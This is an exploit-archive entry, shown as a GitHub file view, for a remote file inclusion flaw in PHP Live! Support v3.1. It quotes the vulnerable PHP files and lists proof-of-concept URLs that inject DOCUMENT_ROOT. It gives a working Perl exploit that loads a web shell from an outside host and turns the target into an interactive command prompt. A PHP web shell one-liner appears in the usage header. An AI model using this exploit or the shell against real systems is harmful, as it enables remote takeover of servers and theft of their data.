-
Notifications
You must be signed in to change notification settings - Fork 16
/
10008.txt
304 lines (271 loc) · 12.6 KB
/
10008.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
OSI Codes PHP Live! Support v3.1 Remote File Inclusion Vulnerability
====================================================================
#####
# * Provide Live Support on your Website
# * Increase your Sales
# * Increase Customer Satisfaction
# * Decrease your phone/operational costs
# [?] Usage :
# perl tux.pl <target> <weapon url> cmd
# perl tux.pl http://server/path/ http://www.host.org/shell.txt cmd
# Weapon example: <?php system($_GET['cmd']); ?>
#####
<!--more-->
# [-] Bugs in
[+] index.php
<?php
/*******************************************************
* COPYRIGHT OSI CODES - PHP Live!
*******************************************************/
session_start() ;
$l = "" ;
// try to get cookie value first
if ( isset( $_COOKIE['COOKIE_PHPLIVE_SITE'] ) ) { $l = $_COOKIE['COOKIE_PHPLIVE_SITE'] ; }
if ( isset( $_GET['l'] ) ) { $l = $_GET['l'] ; }
if ( isset( $_POST['l'] ) ) { $l = $_POST['l'] ; }
if ( !file_exists( "./web/conf-init.php" ) )
{
HEADER( "location: setup/index.php" ) ;
exit ;
}
include_once( "./API/Util_Dir.php" ) ;
if ( Util_DIR_CheckDir( ".", $l ) )
include_once("./web/$l/$l-conf-init.php") ;
include_once("./web/conf-init.php") ;
include_once("$DOCUMENT_ROOT/API/Util_Error.php") ;
include_once("$DOCUMENT_ROOT/system.php") ;
include_once("$DOCUMENT_ROOT/lang_packs/$LANG_PACK.php") ;
include_once("$DOCUMENT_ROOT/web/VERSION_KEEP.php") ;
include_once("$DOCUMENT_ROOT/API/Util_CleanFiles.php") ;
include_once("$DOCUMENT_ROOT/API/sql.php" ) ;
include_once("$DOCUMENT_ROOT/API/Users/get.php") ;
include_once("$DOCUMENT_ROOT/API/Users/update.php") ;
include_once("$DOCUMENT_ROOT/API/Chat/remove.php") ;
include_once("$DOCUMENT_ROOT/API/ASP/get.php") ;
// initialize
$action = $error = $sid = $site = $remember = "" ;
$sound_file = "cellular.wav" ;
$isadmin = $winapp = $autologin = $wflag = $closewin = 0 ;
if ( !isset( $_SESSION['session_admin'] ) )
{
session_register( "session_admin" ) ;
$session_admin = ARRAY() ;
$_SESSION['session_admin'] = ARRAY() ;
}
// check to see if the site login is passes. if not, then let's see how many
// sites are in the asp model. if only ONE, then default to that one.
$total_sites = AdminASP_get_TotalUsers( $dbh ) ;
if ( $total_sites == 1 )
{
$site = AdminASP_get_AllUsers( $dbh, 0, 1 ) ;
$l = $site[0]['login'] ;
}
if ( isset( $LOGO ) && file_exists( "$DOCUMENT_ROOT/web/$l/$LOGO" ) && $LOGO )
$logo = "$BASE_URL/web/$l/$LOGO" ;
else if ( file_exists( "$DOCUMENT_ROOT/web/$LOGO_ASP" ) && $LOGO_ASP )
$logo = "$BASE_URL/web/$LOGO_ASP" ;
else
$logo = "$BASE_URL/images/logo.gif" ;
// get variables
if ( isset( $_POST['action'] ) ) { $action = $_POST['action'] ; }
if ( isset( $_GET['action'] ) ) { $action = $_GET['action'] ; }
if ( isset( $_POST['winapp'] ) ) { $winapp = $_POST['winapp'] ; }
if ( isset( $_GET['winapp'] ) ) { $winapp = $_GET['winapp'] ; }
if ( isset( $_GET['wflag'] ) ) { $wflag = $_GET['wflag'] ; }
if ( isset( $_GET['closewin'] ) && ( $_GET['closewin'] != "undefined" ) ) { $closewin = $_GET['closewin'] ; }
// conditions
if ( ( isset( $_COOKIE['COOKIE_PHPLIVE_LOGIN'] ) && isset( $_COOKIE['COOKIE_PHPLIVE_PASSWORD'] ) && isset( $_COOKIE['COOKIE_PHPLIVE_SITE'] ) ) && !$action )
$autologin = 1 ;
if ( $action == "login" )
{
if ( $l )
$site = $l ;
else
$site = $_POST['site'] ;
$aspinfo = AdminASP_get_ASPInfoByASPLogin( $dbh, $site ) ;
$admin = AdminUsers_get_UserInfoByLoginPass( $dbh, $_POST['login'], $_POST['password'], $aspinfo['aspID'] ) ;
if ( !$aspinfo['active_status'] )
$error = "Servi?o est? inativo. Entre em contato com o administrador para obter detalhes setup." ;
else
{
if ( $admin['userID'] && ( $admin['aspID'] == $aspinfo['aspID'] ) )
{
CleanFiles_util_CleanChatSessionFiles() ;
// set $sid. $sid is used to keep track of this admin user. $sid allows
// so a user can log into several admin departments on same computer. it is
// passed everywhere the admin goes.
$sid = time() ;
$departments = AdminUsers_get_UserDepartments( $dbh, $admin['userID'] ) ;
$dept_string = "" ;
for ( $c = 0; $c < count( $departments ); ++$c )
{
$the_department = $departments[$c] ;
$dept_string .= "deptID = $the_department[deptID] OR " ;
}
$dept_string .= "deptID = 0" ;
$_SESSION['session_admin'][$sid] = ARRAY() ;
$_SESSION['session_admin'][$sid]['dept_string'] = $dept_string ;
$_SESSION['session_admin'][$sid]['admin_id'] = $admin['userID'] ;
$_SESSION['session_admin'][$sid]['requests'] = 0 ;
$_SESSION['session_admin'][$sid]['aspID'] = $aspinfo['aspID'] ;
$_SESSION['session_admin'][$sid]['asp_login'] = $aspinfo['login'] ;
$_SESSION['session_admin'][$sid]['active_footprints'] = 0 ;
$_SESSION['session_admin'][$sid]['winapp'] = "$winapp" ;
$_SESSION['session_admin'][$sid]['close_timer'] = 0 ;
$_SESSION['session_admin'][$sid]['traffic_monitor'] = 0 ;
$_SESSION['session_admin'][$sid]['available_status'] = 1 ;
$_SESSION['session_admin'][$sid]['sound'] = "on" ;
$_SESSION['session_admin'][$sid]['request_ids'] = "" ;
$_SESSION['session_admin'][$sid]['traffic_timer'] = $admin['console_refresh'] ;
$isadmin = 1 ;
// check to see if they want to be remembered... if so, just set cookie.
// let's set it for 1 month for now.
$cookie_lifespan = time() + 60*60*24*30 ;
if ( isset( $_POST['remember'] ) )
{
setcookie( "COOKIE_PHPLIVE_LOGIN", $_POST['login'], $cookie_lifespan ) ;
setcookie( "COOKIE_PHPLIVE_PASSWORD", $_POST['password'], $cookie_lifespan ) ;
setcookie( "COOKIE_PHPLIVE_SITE", $aspinfo['login'], $cookie_lifespan ) ;
}
}
else
{
// reset cookie if cookies are set
if ( isset( $_COOKIE['COOKIE_PHPLIVE_LOGIN'] ) && isset( $_COOKIE['COOKIE_PHPLIVE_PASSWORD'] ) )
{
setcookie( "COOKIE_PHPLIVE_LOGIN", "", -1 ) ;
setcookie( "COOKIE_PHPLIVE_PASSWORD", "", -1 ) ;
setcookie( "COOKIE_PHPLIVE_SITE", "", -1 ) ;
}
$error = "Falha de Login. Nota: sua senha ? (CaSE senSiTiVE)." ;
}
}
}
else if ( $action == "logout" )
{
if ( isset( $_COOKIE['COOKIE_PHPLIVE_LOGIN'] ) && isset( $_COOKIE['COOKIE_PHPLIVE_PASSWORD'] ) && !$wflag )
{
setcookie( "COOKIE_PHPLIVE_LOGIN", "", -1 ) ;
setcookie( "COOKIE_PHPLIVE_PASSWORD", "", -1 ) ;
setcookie( "COOKIE_PHPLIVE_SITE", "", -1 ) ;
}
$sid = $_GET['sid'] ;
$l = $_SESSION['session_admin'][$sid]['asp_login'] ;
AdminUsers_update_Status( $dbh, $_SESSION['session_admin'][$sid]['admin_id'], 0 ) ;
AdminUsers_update_UserValue( $dbh, $_SESSION['session_admin'][$sid]['admin_id'], "last_active_time", $admin_idle - 300 ) ;
$_SESSION['session_admin'] = Array() ;
HEADER( "location: index.php?wflag=$wflag&l=$l&winapp=$winapp&closewin=$closewin" ) ;
exit ;
}
else
{
// do the cleaning of the chat database of old requests and sessions.
ServiceChat_remove_CleanChatSessionList( $dbh ) ;
ServiceChat_remove_CleanChatSessions( $dbh ) ;
ServiceChat_remove_CleanChatRequests( $dbh ) ;
}
?>
[+] chat.php
<?php
/*******************************************************
* COPYRIGHT OSI CODES - PHP Live!
*******************************************************/
session_start() ;
$session_chat = $_SESSION['session_chat'] ;
$sid = ( isset( $_GET['sid'] ) ) ? $_GET['sid'] : "" ;
$requestid = ( isset( $_GET['requestid'] ) ) ? $_GET['requestid'] : "" ;
$sessionid = ( isset( $_GET['sessionid'] ) ) ? $_GET['sessionid'] : "" ;
$userid = ( isset( $_GET['userid'] ) ) ? $_GET['userid'] : "" ;
$action = ( isset( $_GET['action'] ) ) ? $_GET['action'] : "" ;
if ( !file_exists( "web/".$session_chat[$sid]['asp_login']."/".$session_chat[$sid]['asp_login']."-conf-init.php" ) || !file_exists( "web/conf-init.php" ) )
{
print "<font color=\"#FF0000\">[Configuration Error: config files not found! -$sid] Exiting...</font>" ;
exit ;
}
include_once("./web/conf-init.php") ;
include_once("$DOCUMENT_ROOT/web/".$session_chat[$sid]['asp_login']."/".$session_chat[$sid]['asp_login']."-conf-init.php") ;
include_once("$DOCUMENT_ROOT/system.php") ;
include_once("$DOCUMENT_ROOT/lang_packs/$LANG_PACK.php") ;
include_once("$DOCUMENT_ROOT/API/sql.php") ;
include_once("$DOCUMENT_ROOT/API/Chat/update.php") ;
// set frame row properties depending if admin or regular request
$frame_row_properties = "*,100%" ;
if ( $session_chat[$sid]['isadmin'] && $session_chat[$sid]['deptid'] )
$frame_row_properties = "*,100%" ;
// let's start the poll time
$_SESSION['session_chat'][$sid]['admin_poll_time'] = time() ;
?>
[+] help.php
<?php
/*******************************************************
* COPYRIGHT OSI CODES - PHP Live!
*******************************************************/
include_once("./web/conf-init.php");
include_once("$DOCUMENT_ROOT/system.php") ;
include_once("$DOCUMENT_ROOT/lang_packs/$LANG_PACK.php") ;
include_once("$DOCUMENT_ROOT/web/VERSION_KEEP.php") ;
include_once("$DOCUMENT_ROOT/API/sql.php") ;
// initialize
$action = "" ;
$text_width = "12" ;
else
$text_width = "9" ;
$success = 0 ;
// update all admins status to not available if they have been idle
// get variables
if ( isset( $_POST['action'] ) ) { $action = $_POST['action'] ; }
if ( isset( $_GET['action'] ) ) { $action = $_GET['action'] ; }
?>
[-] PoC
http://server/path/index.php?DOCUMENT_ROOT=
http://server/path/chat.php?DOCUMENT_ROOT=
http://server/path/help.php?DOCUMENT_ROOT=
[-] eXpL0!t c0des
#!/usr/bin/perl
use HTTP::Request;
use LWP::UserAgent;
$RoNz = $ARGV[0];
$Pathloader = $ARGV[1];
$Contrex = $ARGV[2];
if($RoNz!~/http:\/\// || $Pathloader!~/http:\/\// || !$Contrex){usage()}
head();
sub head()
{
print "[o]============================================================================[o]\r\n";
print " | PHP Live! Support v3.1 Multiple Remote File Include |\r\n";
print "[o]============================================================================[o]\r\n";
}
while()
{
print "[w00t] \$";
while(<STDIN>)
{
$kaMtiEz=$_;
chomp($kaMtiEz);
$arianom = LWP::UserAgent->new() or die;
$tiw0L = HTTP::Request->new(GET =>$RoNz.'help.php?DOCUMENT_ROOT='.$Pathloader.'?&'.$Contrex.'='.$kaMtiEz)or die "\nCould Not connect\n";
$abah_benu = $arianom->request($tiw0L);
$tukulesto = $abah_benu->content;
$tukulesto =~ tr/[\n]/[?]/;
if (!$kaMtiEz) {print "\nPlease Enter a Command\n\n"; $tukulesto ="";}
elsif ($tukulesto =~/failed to open stream: HTTP request denied!/ || $tukulesto =~/: Cannot execute a blank command in /)
{print "\nCann't Connect to cmd Host or Invalid Command\n";exit}
elsif ($tukulesto =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}
if($tukulesto =~ /(.*)/)
{
$finreturn = $1;
$finreturn=~ tr/[?]/[\n]/;
print "\r\n$finreturn\n\r";
last;
}
else {print "[w00t] \$";}}}last;
sub usage()
{
head();
print " | Usage: perl tux.pl <target> <weapon url> <cmd> |\r\n";
print " | <Site> - Full path to execute ex: http://127.0.0.1/path/ |\r\n";
print " | <Weapon url> - Path to Shell e.g http://www.indonesiancoder.org/shell.txt |\r\n";
print " | <cmd> - Command variable used in php shell |\r\n";
print "[o]============================================================================[o]\r\n";
exit();
}